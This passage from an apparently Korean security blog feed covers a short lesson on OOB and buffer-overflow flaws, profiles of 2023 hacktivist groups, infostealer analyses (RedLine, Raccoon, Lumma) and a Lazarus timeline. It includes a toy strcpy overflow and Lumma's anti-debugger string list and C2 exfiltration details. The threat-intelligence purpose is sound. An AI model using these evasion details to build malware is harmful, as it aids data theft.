<p>위 코드에서 <code>arr[7]</code>은 정의되지 않은 메모리 영역을 참조하게 되며, 이는 프로그램의 예기치 않은 동작이나 심각한 보안 취약점으로 이어질 수 있습니다.</p>
<h4 id="⚠️-oob의-위험성">⚠️ OOB의 위험성</h4>
<ul>
<li>공격자가 배열의 범위를 벗어난 주소에 접근해 **민감한 정보(예: 비밀번호, 토큰 등)**를 탈취할 수 있습니다.</li>
<li>악의적인 페이로드를 삽입해 <strong>코드 실행</strong>으로 이어질 수도 있습니다.</li>
</ul>
<p>OOB는 **읽기(Read)**와 **쓰기(Write)**로 나눌 수 있으며, 특히 쓰기 OOB는 임의 코드 실행로 이어질 가능성이 높아 매우 위험합니다.</p>
<hr>
<h3 id="🧨-2-bofbuffer-overflow란">🧨 2. BOF(Buffer Overflow)란?</h3>
<p>**BOF(Buffer Overflow)**는 <strong>버퍼의 크기보다 더 많은 데이터를 입력</strong>하여 인접한 메모리 공간을 침범하는 취약점입니다.</p>
<h4 id="✅-예시-코드-c-언어-1">✅ 예시 코드 (C 언어)</h4>
<pre><code class="language-c">char buffer[10];
strcpy(buffer, &quot;This string is too long!&quot;);</code></pre>
<p>이 예시에서는 <code>buffer</code>가 10바이트 크기인데, <code>strcpy</code> 함수는 길이 제한 없이 데이터를 복사합니다. 이로 인해 인접 메모리가 덮어써지고, 프로그램 흐름이 손상될 수 있습니다.</p>
<h4 id="⚠️-bof의-위험성">⚠️ BOF의 위험성</h4>
<ul>
<li>공격자가 <strong>스택을 조작</strong>하여 함수 반환 주소를 덮어씌우고 악성 코드를 실행할 수 있습니다.</li>
<li>이는 전통적인 <strong>쉘코드 실행</strong> 방식의 핵심이며, 과거 많은 악성코드가 이 기법을 사용했습니다.</li>
</ul>
<hr>
<h3 id="🔒-왜-중요한가">🔒 왜 중요한가?</h3>
<p>이 두 취약점은 단순한 실수처럼 보이지만, <strong>취약한 코드 한 줄이 시스템 전체를 위협</strong>할 수 있습니다. 실제로 유명한 해킹 사례들 중 많은 수가 OOB 또는 BOF 취약점을 이용한 것이며, 특히 C/C++과 같은 언어는 메모리 관리를 개발자에게 전적으로 맡기기 때문에 더 주의가 필요합니다.</p>
<hr>
<h3 id="✅-방지-방법-요약">✅ 방지 방법 요약</h3>
<table>
<thead>
<tr>
<th>취약점</th>
<th>방지 방법</th>
</tr>
</thead>
<tbody><tr>
<td>OOB</td>
<td>배열 접근 시 <strong>경계 검사(bound checking)</strong> 수행</td>
</tr>
<tr>
<td>BOF</td>
<td>안전한 함수 사용 (<code>strncpy</code>, <code>snprintf</code> 등), <strong>스택 보호 기법</strong> 적용 (Canary, ASLR 등)</td>
</tr>
</tbody></table>
<hr>
<h3 id="🧠-마무리">🧠 마무리</h3>
<p>메모리 취약점은 단순한 코드 실수로 발생하지만, <strong>그 결과는 매우 치명적</strong>입니다. OOB와 BOF는 보안의 기초이자 핵심이므로, 이 두 취약점의 원리를 정확히 이해하고 안전한 코드를 작성하는 습관이 중요합니다.</p>
<p>앞으로 다양한 취약점 분석과 보안 실습을 통해 실제 예제를 다루며 이해를 넓혀보는 것도 좋습니다. 다음 글에서는 BOF를 활용한 간단한 Exploit 코드 예제를 소개해드릴 예정입니다. 관심 있다면 구독과 댓글로 알려주세요! 😉</p>
<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[2023년 활동한 주요 핵티비즘 그룹 조사 및 주요 전술 분석]]></title>
            <link>https://velog.io/@hae_to/2023%EB%85%84-%ED%99%9C%EB%8F%99%ED%95%9C-%EC%A3%BC%EC%9A%94-%ED%95%B5%ED%8B%B0%EB%B9%84%EC%A6%98-%EA%B7%B8%EB%A3%B9-%EC%A1%B0%EC%82%AC-%EB%B0%8F-%EC%A3%BC%EC%9A%94-%EC%A0%84%EC%88%A0-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@hae_to/2023%EB%85%84-%ED%99%9C%EB%8F%99%ED%95%9C-%EC%A3%BC%EC%9A%94-%ED%95%B5%ED%8B%B0%EB%B9%84%EC%A6%98-%EA%B7%B8%EB%A3%B9-%EC%A1%B0%EC%82%AC-%EB%B0%8F-%EC%A3%BC%EC%9A%94-%EC%A0%84%EC%88%A0-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Thu, 26 Jun 2025 05:31:52 GMT</pubDate>
            <description><![CDATA[<h2 id="0-주요-핵티비즘-그룹-조사-및-주요-전술-분석">0. 주요 핵티비즘 그룹 조사 및 주요 전술 분석</h2>
<ul>
<li><strong>핵티비즘 (Hacktivism)</strong><ul>
<li><strong><code>해킹 (Hacking)</code> + <code>행동주의 (Activism)</code></strong></li>
<li>정치적 또는 사회적 목적을 위한 해킹</li>
</ul>
</li>
<li><strong>핵티비스트</strong><ul>
<li>핵티비스트에 대한 합의된 정의가 아직 없고, 핵티비스트가 가지는 자발적 비국가 행위자 특성으로 이들의 실체를 명확히 규정하기는 어려움</li>
<li>기존 보고서에서 나타난 국가 배후 사이버 단체를 배제</li>
<li>스스로 핵티비스트라고 규정하는 행위자를 핵티비스트로 정의</li>
<li><a href="https://blog.google/threat-analysis-group/fog-of-war-how-the-ukraine-conflict-transformed-the-cyber-threat-landscape/">본 연구(Google Threat Analysis Group 링크)</a>는 핵티비스트가 가지는 불특정성 그리고 이들의 사적 계약 관계에 대해서는 명확히 파악하지 못한다는 한계가 있으며, 행위자 특성 연구는 후속 연구 진행 필요</li>
</ul>
</li>
</ul>
<h3 id="위협-인텔리전스의-세-가지-유형"><strong>위협 인텔리전스의 세 가지 유형</strong></h3>
<ol>
<li><p><strong>전략적 위협 인텔리전스</strong></p>
<p> • 사이버 보안 태세, 위협 및 비즈니스에 미치는 영향에 대한 고급 정보를 제공한다.</p>
</li>
<li><p><strong>전술적 위협 인텔리전스</strong></p>
<p> • 공격을 수행하는 데 사용되는 위협 행위자의 전술, 기술 및 절차(TTP)에 대한 정보를 제공한다.</p>
</li>
<li><p><strong>운영적 위협 인텔리전스</strong></p>
<p> • 조직에 대한 특정 위협에 대한 정보를 제공한다.</p>
</li>
</ol>
<h3 id="일반적인-인텔리전스-출처"><strong>일반적인 인텔리전스 출처</strong></h3>
<p>• <strong>개방형 소스 인텔리전스 (OSINT)</strong></p>
<p>• <strong>인간 정보 (HUMINT)</strong></p>
<p>• <strong>반정보 (CI)</strong></p>
<p>• <strong>내부 정보 (Internal Intelligence)</strong></p>
<h1 id="1-anonymous-bangladesh">1. Anonymous Bangladesh</h1>
<h3 id="활동-이력">활동 이력</h3>
<ul>
<li><strong>주요 공격 대상</strong>: 인도와 이스라엘 및 종교적, 정치적인 동기에 의해 촉발된 사건에 반응해 공격</li>
<li><strong>활동 시기</strong>: 2023.10 ~</li>
<li><strong>주요 사건</strong><ul>
<li>인도 (인도 중앙 고등교육 위원회 시스템 공격, 2022.12)</li>
<li>한국 (한국 정부부처 4곳, 2023.11)</li>
<li>호주 (호주 이스라엘 대사관 웹사이트)</li>
</ul>
</li>
</ul>
<h3 id="동향">동향</h3>
<ul>
<li><strong>공격 빈도 증가</strong>: 2023년 초부터 활동이 급증, 정부 기관과 대형 기업을 주요 타깃으로 삼음.</li>
<li><strong>정치적 동기</strong>: 정부의 특정 정책에 반대하는 정치적 성향의 공격이 두드러짐.</li>
<li><strong>공격 범위 확대</strong>: 주로 유럽과 북미 지역의 주요 인프라를 타깃으로 활동.</li>
</ul>
<h3 id="주요-전술">주요 전술</h3>
<ul>
<li><strong>DDoS 공격</strong>: 웹사이트 트래픽 과부하를 유발하여 주요 정부 기관의 시스템을 다운시킴. 또한 대규모 공격 전 테스트 공격을 거쳐 목표의 취약성을 사전에 확인하는 전략 사용.</li>
<li><strong>웹사이트 변조:</strong> 웹사이트에 접근하여 내용을 정치적 또는 종교적 메시지나 이미지를 포함한 프로파간다로 변경. 변조를 통해 타깃이 된 조직을 공개적으로 망신시키고 방해함으로써, 그룹의 이념적 메시지를 전파하는 수단으로 사용함</li>
<li><strong>데이터 유출</strong>: 기업의 기밀 데이터를 탈취하여 협박 및 공개, 공격의 정치적 목적 부각.</li>
</ul>
<h1 id="2-killnet">2. KillNet</h1>
<ul>
<li><strong>주요 공격 대상</strong>: 러시아의 우크라이나 침공 반대자</li>
<li><strong>활동 시기</strong>: 2023년</li>
<li><strong>주요 사건</strong><ul>
<li><strong>NATO 국가에 대한 광범위한 디도스(DDoS) 공격</strong>: NATO 국가들의 정부 기관 및 군사 관련 웹사이트를 대상으로 한 대규모 DDoS 공격을 주도(우크라이나 전쟁과 관련된 NATO의 대응에 반발하는 형태로 이루어짐).</li>
<li><strong>이스라엘 정부에 대한 사이버 공격 경고</strong>: 이스라엘을 목표로 하는 사이버 공격 경고 메시지를 게시하며, 이스라엘의 첩보 기관인 신베트(Shin Bet)의 웹사이트 일시적 폐쇄.</li>
<li><strong>이스라엘 교육부에 대한 사이버 공격 주장</strong>: 이스라엘 교육부를 대상으로 한 사이버 공격을 감행한다고 주장.</li>
</ul>
</li>
</ul>
<h3 id="동향-1">동향</h3>
<ul>
<li><strong>로고 브랜드화</strong>: 해커 그룹으로서의 명성을 바탕으로 자신의 로고를 브랜드화하여 상품 판매를 시작했고, 상품 판매를 통한 자금 확보.</li>
<li><strong>활동 전환</strong>: 2023년 5월 ‘민간군 해킹 업체’로 활동 전환(명칭 ‘Black Skills’).</li>
</ul>
<h3 id="주요-전술-1">주요 전술</h3>
<ul>
<li><strong>DDoS 공격</strong>: 악성 소프트웨어에 감염된 좀비 PC를 대거 동원해 특정 사이트에 동시 접속하도록 함.</li>
<li><strong>정보 탈취 및 데이터 유출</strong>: 웹사이트 침해를 통해 민감한 정보를 무단으로 접근한 후 이를 유출하거나, 협박의 수단으로 사용해 압력을 가함.</li>
</ul>
<h1 id="3-rootk1t">3. RootK1t</h1>
<ul>
<li><strong>주요 공격 대상</strong>: 정부, 글로벌 기업</li>
<li><strong>활동 시기</strong>: 2023년</li>
<li><strong>주요 사건</strong><ul>
<li><strong>말레이시아 타겟 공격</strong>: 말레이시아의 조직들을 대상으로 웹사이트 변조 및 데이터 유출 사건을 일으켰으며, RootK1t ISC 팀은 이 공격을 인터넷을 통해 예고하고 말레이시아의 인프라를 타겟으로 한 사이버 공격 감행.</li>
<li><strong>Sodexo 위협 사건</strong>: 유럽 기반의 글로벌 기업 Sodexo를 타겟으로 한 위협(민감한 데이터에 대한 탈취 시도).</li>
<li><strong>레바논 정부 웹사이트 공격</strong>: 레바논 정부의 웹사이트를 지속적으로 공격하며 보안 취약점을 악용하여 사이트 변조 · 데이터 탈취.</li>
</ul>
</li>
</ul>
<h3 id="동향-2">동향</h3>
<ul>
<li><strong>이슬람 국가 대상의 공격 활동</strong>: 말레이시아의 국가 인구 및 가족 개발 위원회(LPPKN) 데이터베이스 해킹(27TB 데이터 탈취).</li>
<li><strong>이스라엘 지지 표명</strong>: 이슬람 국가들과 영토를 주요 타겟으로 삼고, 민감한 정보를 유출하는 공격 감행.</li>
</ul>
<h3 id="주요-전술-2">주요 전술</h3>
<ul>
<li><strong>웹사이트 변조</strong>: 타겟 웹사이트의 콘텐츠를 변조하여 정치적 또는 사회적 메시지를 전달하고 공격 흔적을 남김.</li>
<li><strong>데이터 탈취</strong>: 보안 취약점을 통해 무단으로 접근한 후 민감한 데이터를 탈취하고 이를 공개하거나 협박의 수단으로 사용.</li>
<li><strong>보악 취약점 악용</strong>: 오래된 소프트웨어나 업데이트 되지 않은 시스템의 취약점을 공격해 무단 접근을 시도하고 이를 통해 데이터를 유출/시스템 장악.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[공개된 정보를 기반으로 인포스틸러 정보 수집]]></title>
            <link>https://velog.io/@hae_to/%EA%B3%B5%EA%B0%9C%EB%90%9C-%EC%A0%95%EB%B3%B4%EB%A5%BC-%EA%B8%B0%EB%B0%98%EC%9C%BC%EB%A1%9C-%EC%9D%B8%ED%8F%AC%EC%8A%A4%ED%8B%B8%EB%9F%AC-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91</link>
            <guid>https://velog.io/@hae_to/%EA%B3%B5%EA%B0%9C%EB%90%9C-%EC%A0%95%EB%B3%B4%EB%A5%BC-%EA%B8%B0%EB%B0%98%EC%9C%BC%EB%A1%9C-%EC%9D%B8%ED%8F%AC%EC%8A%A4%ED%8B%B8%EB%9F%AC-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91</guid>
            <pubDate>Thu, 26 Jun 2025 05:30:20 GMT</pubDate>
            <description><![CDATA[<h2 id="1-인포스틸러-infostealer">1. 인포스틸러 (<strong>Infostealer)</strong></h2>
<p>인포스틸러는 정보 탈취형 악성코드로서 웹 브라우저나 이메일 클라이언트 같은 프로그램에 저장되어 있는 사용자 계정 정보나 가상화폐 지갑 주소, 파일과 같은 사용자의 정보들을 탈취하는 것이 목적인 악성코드이다.</p>
<h2 id="2-redline-stealer">2. RedLine Stealer</h2>
<ol>
<li><p><strong>Executive Summary</strong></p>
<p> RedLine Stealer는 브라우저에서 저장된 인증 정보, 자동 완성 데이터, 신용카드 정보 등 다양한 사용자 정보를 수집하며, 시스템 하드웨어와 위치 정보까지 탐지한다. 최근 버전에서는 암호화폐 탈취 기능이 추가되어 FTP, IM 클라이언트와 같은 다양한 애플리케이션을 타깃으로 삼는다. 이 악성코드는 파일 업로드/다운로드, 명령 실행, 주기적인 데이터 전송 등의 기능을 제공한다.</p>
</li>
</ol>
<ol>
<li><p><strong>탈취 정보</strong></p>
<ul>
<li><strong>브라우저 정보</strong>: 저장된 인증 정보(<code>ID</code>, <code>Password</code>), 자동 완성 데이터, 신용카드 정보</li>
<li><strong>시스템 정보</strong>: 사용자 이름, 위치 데이터, 하드웨어 구성, 설치된 보안 소프트웨어 정보</li>
<li><strong>암호화폐 정보</strong>: 지갑 및 관련 암호화폐 정보</li>
<li><strong>애플리케이션 정보</strong>: FTP 및 IM 클라이언트와 관련된 데이터</li>
<li><strong>파일 시스템 접근</strong>: 파일 업로드 및 다운로드를 통한 파일 접근</li>
</ul>
</li>
<li><p><strong>주요 공격 기술</strong></p>
<ul>
<li><strong>유포 전략</strong><ul>
<li><strong>크랙된 소프트웨어, 게임, 애플리케이션</strong>: RedLine은 사용자들이 크랙된 소프트웨어나 불법 복제된 게임을 다운로드하는 경로를 통해 유포된다. 이로 인해 사용자는 악성코드를 무의식적으로 설치하게 된다.</li>
<li><strong>피싱 이메일 및 스팸 캠페인</strong>: 첨부파일 또는 악성 링크를 포함한 피싱 이메일을 통해 RedLine을 설치하도록 유도하는 경우가 있다.</li>
</ul>
</li>
<li><strong>C2 서버 통신 및 제어</strong><ul>
<li><strong>C2 서버와의 지속적인 통신</strong>: RedLine은 C2 서버와 SOAP 프로토콜을 사용하여 통신하며, 이를 통해 실시간으로 명령을 수신하고 탈취한 데이터를 전송한다. RequestConnection()와 TryGetConnection() 함수를 사용해 C2 서버 연결을 확인하고 통신을 시도한다.</li>
<li><strong>방어 회피 및 샌드박스 회피</strong>: 특정 VPN IP 주소나 샌드박스 환경을 탐지하여 C2 서버와의 통신을 차단하는 방식으로 탐지를 우회한다.</li>
</ul>
</li>
<li><strong>멀웨어 로더 역할</strong><ul>
<li>RedLine은 단순히 정보 탈취에 그치지 않고, 추가 악성코드를 다운로드 및 실행하는 로더 또는 드로퍼 역할을 수행한다. 이를 통해 랜섬웨어 등 추가 악성코드로 감염을 확장할 수 있다.</li>
</ul>
</li>
<li><strong>은닉 및 탐지 회피 기술</strong><ul>
<li><strong>WMI를 활용한 보안 소프트웨어 탐지</strong>: WMI(Windows Management Instrumentation)를 사용하여 시스템에 설치된 안티바이러스, 방화벽 등을 탐지하여 보안 솔루션이 작동 중인지를 확인한다.</li>
<li>레지스트리 접근: <code>SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>과 같은 레지스트리 키를 통해 설치된 프로그램의 목록을 확인하여 시스템에 대한 정보를 더욱 세부적으로 수집한다.</li>
</ul>
</li>
<li><strong>대상 시스템 필터링</strong><ul>
<li><strong>특정 국가 제외</strong>: 일부 국가에 대해 활동을 제한하도록 코드에 조건문을 삽입하여 특정 국가의 컴퓨터에는 해를 끼치지 않도록 설정한다.</li>
</ul>
</li>
</ul>
</li>
</ol>
<h2 id="3-raccoon-stealer">3. Raccoon Stealer</h2>
<ol>
<li>Executive Summary
Raccoon Stealer는 러시아어권 사이버 범죄자들이 개발한 유명한 Malware-as-a-Service(MaaS) 인포스틸러이다. 이 악성코드는 2019년부터 활동을 시작했으며, 사용자 친화적인 인터페이스와 저렴한 가격으로 인기를 얻었다. Raccoon은 주로 Telegram을 통해 거래 및 고객 지원을 제공하지만, [XSS]와 [Exploit] 같은 주요 러시아어 사이버범죄 포럼에서도 활발히 활동하며 광고 및 평판 관리를 수행한다. Raccoon 운영자들은 후술할 다양한 유포 전략을 통해 광범위한 사용자 층을 타겟팅하며, 특히 &quot;LolzTeam&quot; 같은 포럼에서 활동하는 젊은 사이버 범죄자들을 통해 효과적으로 확산된다.</li>
</ol>
<p><img src="https://velog.velcdn.com/images/hae_to/post/42d3bb0c-6e17-4d78-b2e6-5dcdbc341577/image.png" alt=""></p>
<ol start="2">
<li><p>탈취 정보</p>
<ul>
<li>브라우저 저장 패스 워드</li>
<li>쿠키 및 자동완성 데이터</li>
<li>암호화폐 지갑 정보</li>
<li>FTP 클라이언트 자격증명</li>
<li>이메일 클라이언트 데이터</li>
<li>메신저 애플리케이션 데이터</li>
<li>스크린샷</li>
<li>시스템 정보 (OS 버전, 설치된 소프트웨어 등)</li>
<li>신용카드 정보</li>
<li>브라우저 프로파일의 데이터 (e.g., <code>logins.json</code>, <code>cookies.sqlite</code>, <code>wallet.dat</code>)</li>
</ul>
</li>
<li><p>주요 공격 기술</p>
<ul>
<li>피싱 이메일: 악성 첨부파일이나 링크를 포함한 이메일을 통해 유포</li>
<li>크랙된 소프트웨어: 불법 소프트웨어나 게임 크랙으로 위장하여 배포</li>
<li>드라이브 바이 다운로드: 취약한 웹사이트를 통해 사용자 모르게 다운로드 및 설치</li>
<li>소셜 미디어 엔지니어링: YouTube, Instagram, TikTok 등의 플랫폼에서 가짜 콘텐츠로 유인</li>
<li>트래퍼(Traffer) 활용: 대규모 팔로워를 가진 계정을 해킹하여 악성 링크 유포</li>
<li>익스플로잇 킷: 소프트웨어 취약점을 이용해 자동으로 감염</li>
<li>번들웨어: 정상적인 소프트웨어와 함께 번들로 설치</li>
</ul>
</li>
</ol>
<h2 id="4-lummac-stealer-lumma-stealer">4. LummaC Stealer (Lumma Stealer)</h2>
<ol>
<li><p>Executive Summary</p>
<p> 루마 스틸러는 최소 2022년 8월부터 러시아어권 포럼에서 서비스형 멀웨어(MaaS) 모델을 통해 사용 가능한 C 언어로 작성된 인포스틸러이다. 이 멀웨어는 &#39;Lumma&#39;라는 가명을 사용하는 위협 행위자 &#39;Shamel&#39;이 개발한 것으로 추정됩니다. 루마 스틸러는 주로 암호화폐 지갑과 2단계 인증(2FA) 브라우저 확장 프로그램을 표적으로 삼고, 궁극적으로 피해자의 컴퓨터에서 중요한 정보를 훔칩니다.</p>
<p> 표적이 된 데이터가 획득되면 사용자 에이전트 ”TeslaBrowser/5.5”를 사용하는 HTTP POST 요청을 통해 C2 서버로 유출된다. 또한 이 스틸러는 EXE, DLL 및 PowerShell을 통해 추가 페이로드를 전달할 수 있는 비거주 로더를 갖추고 있다.</p>
</li>
<li><p>탈취 정보</p>
<ul>
<li>암호화폐 지갑 정보</li>
<li>브라우저 확장 프로그램에 설치된 2단계 인증 정보</li>
<li>아이디, 비밀번호 탈취</li>
<li>데이터 탈취</li>
</ul>
</li>
<li><p>주요 공격 기술</p>
<ul>
<li><p>크랙 소프트웨어(cracked software) 활용</p>
<p>  사람들이 좋아할 만한 유료 프로그램들을 크랙 버전 공유로 속여 해당 실행파일을 악성 실행파일로 변경하여 유포함. 이러한 크랙 파일은 컴퓨터 백신 도구를 비활성 하거나, 백신을 속이는 기능 또한 포함되어 있었다.</p>
</li>
</ul>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/hae_to/post/0751be4b-5f6e-4dfc-8020-9043bb8c2388/image.png" alt=""></p>
<ul>
<li><p>Discord 스팸 메시지</p>
<p>  Discord를 통한 무작위 스팸 메시지를 전송하여, 특정 링크 클릭을 유도하여 악성 실행 파일 다운로드를 진행한 뒤 정보 탈취.
  <img src="https://velog.velcdn.com/images/hae_to/post/34b82978-b320-4136-bd95-a97c79be0a07/image.png" alt=""></p>
</li>
<li><p>특정 OS 및 브라우저를 대상 공격</p>
<p>  Windows 7~11 운영 체제와 Google Chrome, Microsoft Edge, Mozilla Firefox를 포함한 최소 10가지의 다양한 브라우저의 취약점을 활용하여, 공격을 진행.</p>
</li>
</ul>
<ul>
<li><p>가상화폐 지갑 주소 대상 공격</p>
<p>  Binance 및 Ethereum과 같은 암호화폐 지갑과 Metamask 및 Authenticator와 같은 암호화폐 지갑 및 2FA 브라우저 확장 프로그램을 대상으로 하는 것으로 관찰되었다.</p>
</li>
</ul>
<ol start="4">
<li><p>Lumma Stealer Threat Analysis</p>
<p> Lumma 그룹은 다양한 루트로 악성 파일을 공유하지만, 중개 C2 서버로 Github 이용도 주로 하는 것으로 확인되었다. </p>
<ul>
<li><p>1단계: 탐지 및 분석 회피 적용</p>
<p>루마의 악성코드는 가상머신(샌드박스) 및 디비거에서 실행되고 있는지 확인하는 윈도우 시스템 함수인 GetForegroundWindow를 호출하고 디버거 실행 프로그램 문자열이 있는지 확인한다.</p>
<p>아래는 포함된 디버거 리스트이다.</p>
</li>
<li><p>ida</p>
</li>
<li><p>hyperdbg</p>
</li>
<li><p>debug</p>
</li>
<li><p>debugger</p>
</li>
<li><p>x32dbg</p>
</li>
<li><p>x64dbg</p>
</li>
<li><p>cheat engine</p>
</li>
<li><p>cheatengine</p>
</li>
<li><p>windbg</p>
</li>
<li><p>ollydbg</p>
</li>
<li><p>immunity debugger</p>
</li>
<li><p>dnspy</p>
<p>여기서 멈추지 않고 시스템 속성을 검토하여 가상화가 사용 중이라는 징후가 있는지 확인하는데, system32 폴더의 .sys 파일을 검사하여 가상 머신에 일반적으로 사용되는 파일을 찾는다.</p>
</li>
<li><p>2단계: Data Stealing</p>
<p>1단계 작업을 반복적으로 수행 후 분석 회피가 완료되었다면, 정보 탈취하는 코드가 실행되어 감염된 사용자의 PC에서 데이터를 훔친다. 새로운 인스턴스에 대해 명령 서버에 보고합니다. 이는 HTTP POST 메시지를 사용하여 수행되며, 각 샘플에는 악성코드가 실행된 후 확인을 시작하는 암호화된 C2 주소 목록(기본 1개 + 백업 10개)이 포함되어 있습니다. 그런 다음 가장 먼저 응답하는 주소가 데이터 유출을 포함한 모든 추가 통신에 사용된다.
<img src="https://velog.velcdn.com/images/hae_to/post/8a32101c-3726-4d60-810d-5f50fb3c6474/image.png" alt=""></p>
</li>
</ul>
</li>
</ol>
<p>초기 연결이 설정되면 인포스틸러는 시스템에서 사용자 데이터를 검색하여 암호화폐 지갑, 사용자 브라우저 프로필 및 암호화폐 지갑용 브라우저 확장 프로그램과 관련된 파일을 찾아 데이터 수집 후 결과를 암호화하여 C2 서버로 보냅니다.
<img src="https://velog.velcdn.com/images/hae_to/post/cb6638c9-72ee-42a2-bf68-320cbeb6a0ea/image.png" alt=""></p>
<p>Lumma C2 패널도 분석할 가치가 있는데, 탐지를 피하는 방법에 AI 지원 필터링이 수반되어 “봇”, 즉 분석가가 사용하는 테스트 머신에서 유출된 데이터를 걸러낼 수 있다. 이러한 내용을 다크넷 포럼에서 홍보하였다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[공개된 정보를 기반으로 Lazarus 그룹 최신 동향 정보 수집]]></title>
            <link>https://velog.io/@hae_to/%EA%B3%B5%EA%B0%9C%EB%90%9C-%EC%A0%95%EB%B3%B4%EB%A5%BC-%EA%B8%B0%EB%B0%98%EC%9C%BC%EB%A1%9C-Lazarus-%EA%B7%B8%EB%A3%B9-%EC%B5%9C%EC%8B%A0-%EB%8F%99%ED%96%A5-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91</link>
            <guid>https://velog.io/@hae_to/%EA%B3%B5%EA%B0%9C%EB%90%9C-%EC%A0%95%EB%B3%B4%EB%A5%BC-%EA%B8%B0%EB%B0%98%EC%9C%BC%EB%A1%9C-Lazarus-%EA%B7%B8%EB%A3%B9-%EC%B5%9C%EC%8B%A0-%EB%8F%99%ED%96%A5-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91</guid>
            <pubDate>Thu, 05 Jun 2025 10:40:34 GMT</pubDate>
            <description><![CDATA[<h2 id="개요">개요</h2>
<p>Lazarus는 북한의 정찰총국 소속 해킹 조직으로, 금전적 이득과 자료 탈취를 목적으로 전 세계에서 지속적인 해킹 활동을 전개하고 있다.</p>
<h2 id="주요-사건">주요 사건</h2>
<h3 id="1-20132014-그룹-초기-활동-및-연습-작업-기간">1. (2013~2014) 그룹 초기 활동 및 연습 작업 기간</h3>
<h3 id="2013년-3·20-전산-대란">2013년 <strong>3·20 전산 대란</strong></h3>
<ul>
<li>공격 대상: 2013년 3월 20일 대한민국 주요 언론사와 기업체, 안랩 서버 및 다수의 컴퓨터</li>
<li>특징<ul>
<li>최소한 6대의 북한 내부 PC가 <code>2012년 6월 28일</code>부터 피해 기관에 악성코드를 유포하고, PC에 저장되어 있는 자료를 절취한 것으로 밝혀짐.</li>
</ul>
</li>
</ul>
<h3 id="2014년-9월-소니픽쳐스-해킹-사건">2014년 9월 소니픽쳐스 해킹 사건</h3>
<ul>
<li>영화 제작사 소니픽쳐스가 북한 배경 영화 제작을 밝히자, 이후 해킹.</li>
<li>영화는 개봉 무산되었는데, <strong>해커들이 물리적 공격을 예고</strong>했기 때문</li>
<li>추후 이 소니픽쳐스 해킹 사건은 더 큰 계획을 위한 &#39;연습 작업&#39;이었던 것으로 드러남</li>
</ul>
<h3 id="2-20162024-무기-자금-확보를-위한-집중-해킹">2. (2016~2024) 무기 자금 확보를 위한 집중 해킹</h3>
<ul>
<li>타겟: 무기 개발에 필요한 <code>자금 조달</code>이 용이한 기업<ul>
<li>전 세계 암호화폐 기업, 은행 등 정보 탈취 성공 시 자금 확보가 가능한 기업 선정</li>
</ul>
</li>
</ul>
<h3 id="20160323일-자-기사-방글라-중앙은행-1000억-원대-해킹의-전말은">2016.03.23일 자 기사: 방글라 중앙은행 1000억 원대 해킹의 전말은?</h3>
<h3 id="2016-06-13-방산업체-등-대기업-계열사-해킹">2016-06-13 방산업체 등 대기업 계열사 해킹</h3>
<ul>
<li>공격 대상: IT 솔루션 제조 기업, 대기업 계열사 IT 인프라 관리 기업</li>
<li>특징<ul>
<li>1차적으로 해킹한 기업을 경유하여 관련 모든 계열사의 IT 인프라에 접근</li>
<li>탈취한 자료(ex. 무기 설계 자료)를 자국의 방산 기술 개발에 사용할 목적</li>
</ul>
</li>
<li><strong>사이버 안보 위협이 물리적인 안보 위협으로까지 발전</strong> 할 수 있음을 증명</li>
</ul>
<h3 id="2023-07-30-에스토니아의-암호화폐-기업-코인스페이드-해킹-477억-원-탈취">2023-07-30 에스토니아의 암호화폐 기업 &#39;코인스페이드&#39; 해킹, 477억 원 탈취&quot;</h3>
<ul>
<li>에스토니아 <strong>암호화폐 지갑 서비스 &#39;아토믹 월릿&#39;도 공격으로 1천억 원 이상의 피해</strong></li>
</ul>
<h3 id="3-20212023-사법부-전산망-해킹-사건">3. (2021~2023) 사법부 전산망 해킹 사건</h3>
<ul>
<li>경찰 등이 지난해 12월부터 합동수사한 결과, 모두 1,014기가바이트의 자료가 2년 동안 유출된 것이 확인</li>
<li>국내, 외 서버 8개를 거쳐 탈취한 자료 중 경찰이한 서버에 남아 있던 파일 약 5천 1백여 개를 발견</li>
<li>4.7GB 규모로 개인정보가 담긴 자필진술서, 채무증대 경위서 등 ‘회생 사건&#39; 관련 문서.그러나 이렇게 내용이 확인된 유출 자료는 전체의 0.5%에 불과한 상황</li>
<li>자료 유출은 <code>2021년 6월</code>부터 2년 동안 이뤄졌는데, 저장 용량의 한계로 2021년 1월 이전의 보안장비 상세 기록이 삭제돼, 최초 침입 시점을 알 수 없음.</li>
</ul>
<h3 id="4-2024---최근">4. (2024~  ) 최근</h3>
<ul>
<li>2024년 7월 라자루스, 탈취한 가상자산 캄보디아에서 현금화</li>
</ul>
<h3 id="라자루스-의심-비트코인-거래-건">라자루스 의심 비트코인 거래 건</h3>
<ul>
<li>2024년 9월 11일 인도네시아 거래소 Indodax의 지갑에서 150건 이상의 수상한 거래 발생. 약 2,058만 달러 상당의 디지털 자산 도난 사례</li>
</ul>
<h3 id="요약">요약</h3>
<p>2016년부터 활동한 Larzarus의 행보는 두 가지 트랙으로 보임</p>
<ol>
<li>한국의 기밀정보에 깊숙하게 오랫동안 관여하고 있음.</li>
<li>자본 확보: 암호화폐 등 탈중앙화 Web3 자본의 느슨한 연결고리 공격해 자본 탈취</li>
</ol>
<h2 id="주요-전술과-공격-방식">주요 전술과 공격 방식</h2>
<h2 id="주요-전술">주요 전술</h2>
<h3 id="1-안티-포렌식">1. 안티 포렌식</h3>
<aside>
💡

<p>안티 포렌식 이란?</p>
<p>범죄 현장에서 증거의 존재를 훼손시켜 부정적인 영향을 미치거나 증거 분석 및 조사 과정을 방해하거나 어렵게 만들려는 시도를 말한다. 일반적으로 침해사고 관점에서의 안티 포렌식의 목적은 다음과 같다.</p>
<ul>
<li>탐지 회피 및 정보 수집 방해</li>
<li>디지털 포렌식 분석가의 분석 시간 증가</li>
<li>디지털 포렌식 도구가 동작하지 못하도록 하거나 오류 발생 유발</li>
<li>사용 흔적이나 도구 실행 흔적을 발견하지 못하도록 로깅을 차단/우회하거나 삭제</aside>

</li>
</ul>
